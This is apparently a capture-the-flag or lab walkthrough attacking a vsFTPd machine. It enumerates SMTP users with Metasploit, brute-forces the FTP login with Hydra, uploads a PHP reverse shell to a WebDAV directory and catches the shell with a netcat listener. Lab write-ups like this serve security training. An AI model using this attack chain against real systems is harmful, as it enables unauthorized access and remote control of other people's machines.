Lab
This lab targets a vsFTPd service. I enumerate FTP and SMTP, brute force a login, then use WebDAV to drop a PHP reverse shell and catch a shell.
FTP Scan with Nmap
Start by fingerprinting the FTP service on port 21.
nmap -sC -sV -p21 10.3.19.173
Use SMTP to Gather Usernames
Port 25 (SMTP) can be used to enumerate valid system users. Confirm the service, then run the Metasploit SMTP enumeration scanner.
nmap -sV -p25 10.3.19.173
use auxiliary/scanner/smtp/smtp_enum
exploit
SERVICE typically isn't a real service account. Services are normally named after their specific use case, like daemon.
Brute Force FTP with Hydra
Use the service username against FTP with a user wordlist.
hydra -l service -P /usr/share/wordlists/metasploit/unix_users.txt 10.3.19.173 ftp -I
Log In to FTP
The credentials turn out to be service::service.
ftp 10.3.19.173
WebDAV
Edit the PHP web shell at /usr/share/webshells/php/php-reverse-shell.php with your IP and port, then upload it to the WebDAV directory over FTP.
cd /var/www/dav
put php-reverse-shell.php
Start a Netcat listener, browse to the uploaded shell to trigger it, and fix the terminal once the shell lands.
nc -lvnp 1337
export TERM=xterm